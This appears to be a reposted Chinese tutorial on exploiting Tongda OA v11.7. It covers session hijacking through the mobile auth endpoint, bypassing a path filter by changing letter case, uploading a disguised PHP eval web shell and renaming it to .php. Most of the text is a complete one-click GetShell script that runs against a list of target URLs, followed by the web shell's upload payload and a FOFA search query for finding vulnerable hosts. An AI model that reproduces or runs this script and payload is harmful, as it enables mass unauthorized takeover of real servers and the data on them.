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How to realize the recurrence of online user login vulnerability in Tongda OA v11.7
- WBOYforward
- 2023-06-03 08:13:211660browse
通达OA v11.7 在线用户登录漏洞复现
一个类似于越权的漏洞，但是利用的方式确实比较特殊
访问漏洞页面获取phpsession
http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
可以看到我们已经获取到了phpsession，这个时候我们就可以访问他的后台页面了，但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线，所以需要等他在线。
访问后台页面：
http://x.x.x.x/general/
查看本地的绝对路径
新建一个附件目录
这里需要注意：我们要添加一个路径为系统目录后面跟上webroot，但是webroot会被过滤，但是他没有检查大小写，所以我们改为Webroot就可以轻松绕过。
添加图片目录
这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员，这样子才可以，路径的话呢还是webroot那个路径。
上传木马
然后我们添加一个文件，也就是我们的shell
这里需要注意的是，我们需要将我们的木马改为jpg后缀的，要不路径无法查看。
查看木马路径
这个时候记住这个文件名称，这个路径是固定的就是file_folder/2013下面就是我们的木马。
修改木马后缀
回到我们之前的上传页面，然后点击编辑。
鼠标放到我们木马上面，然后点击重命名。
我们会打开一个新的tab页面，我们使用火狐进行抓包：
先随便改个名字，点击保存，然后会拦截到一个post封包。
数据包格式大概是这个样子：
NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg
我们需要将ATTACHMENT_NAME_POSTFIX属性修改为php（注意要加一个点）来完成这个步骤
然后重放这个数据包，就可以看到修改成功。
拼接木马路径
可以看到我们修改成功。
然后找到之前的文件名，然后将我们上传的原始的文件名(2.jpg)改为(166.php)，这个是根据你上传的路径以及改的名称来定的，然后路径的话呢还是file_folder/2013，我们就可以访问到我们的马子了。
一键GetShell脚本
脚本代码:
#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap class="TableData">(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){
res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){
return "";
}
PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");
return PHPSESSID;
}
function JudgeOK(url,Cookie){
res = HttpGet(url."/general/",Cookie);
if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){
return "0";
}else{
return "1";
}
}
function GetRoot(content){
list = StrRe(content,Rootre);
num = GetArrayNum(list);
num = num/2;
i = 0;
while(i<num){
if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){
return list[ToInt(i*2+1)];
}
i = i+1;
}
return "";
}
function GetWebRoot(url,Cookie){
res = HttpGet(url."/general/system/reg_view/",Cookie);
return GetRoot(res[0]);
}
function AddPath(url,Root,Cookie){
return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie);
}
function AddImgPath(url,Root,Cookie){
return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&COPY_TO_ID=admin%2C&COPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);
}
function PushImg(url,Content,Cookie){
return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");
}
function GetPICID(url,Cookie){
res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);
return GettextMiddle(res[0],"&PIC_ID=",yinhao);
}
function GetImg(url,Root,Cookie){
res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie);
list = StrRe(res[0],shellpathre);
num = GetArrayNum(list);
num = num/2;
i = 0;
while(i<num){
if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){
return list[ToInt(i*2+1)];
}
i = i+1;
}
return "";
}
function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){
return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);
}
function GetCONTENTID(url,Cookie){
res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);
list = StrRe(res[0],contentidre);
if(GetArrayNum(list) >= 2){
return list[1];
}
return "";
}
function GetATTACHMENTID(url,CONTENTID,Cookie){
res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");
list = StrRe(res[0],attachmentidre);
if(GetArrayNum(list) >= 2){
return list[1];
}
return "";
}
function GetShell(url){
PHPSESSID = GetCookie(url);
if(PHPSESSID == ""){
return "";
}
Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";
if(JudgeOK(url,Cookie)=="1"){
WebRoot = GetWebRoot(url,Cookie);
AddPath(url,WebRoot,Cookie);
AddImgPath(url,WebRoot,Cookie);
ShellPost = ReadFile("script\综合漏洞\OAShell.txt");
PushImg(url,ShellPost,Cookie);
path = GetImg(url,WebRoot,Cookie);
CONTENTID = GetCONTENTID(url,Cookie);
ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);
ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);
realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");
print("Shell路径:",realshellpath,"密码:test");
}else{
return "";
}
}
function main(args){
print("请输入要要检测的列表文件:");
list = StrSplit(ReadFile(input()),StrRN());
i = 0;
num = GetArrayNum(list);
while(i < num){
url=list[ToInt(i)];
print("当前检测的连接:".url);
GetShell(url);
i=i+1;
}
print("检测完毕");
}OAShell.txt：
-----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SUBJECT" 166.jpg -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="CONTENT_NO" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="KEYWORD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="NEW_NAME" н¨Îĵµ -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="NEW_TYPE" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_1"; filename="" Content-Type: application/octet-stream -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACH_NAME" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACH_DIR" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="DISK_ID" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_1000"; filename="" Content-Type: application/octet-stream -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_DESC" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="CONTENT_ID" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="OP" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="PD" 1 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SORT_ID" 0 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_ID_OLD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="FILE_SORT" 2 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="USE_CAPACITY" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="USE_CAPACITY_SIZE" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SHARE_USER" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg" Content-Type: image/jpeg <?php @eval($_POST['test']); ?> -----------------------------33072116513621237124579432636--
放一张例子截图：
附一个fofa语句：
app="TDXK-通达OA"
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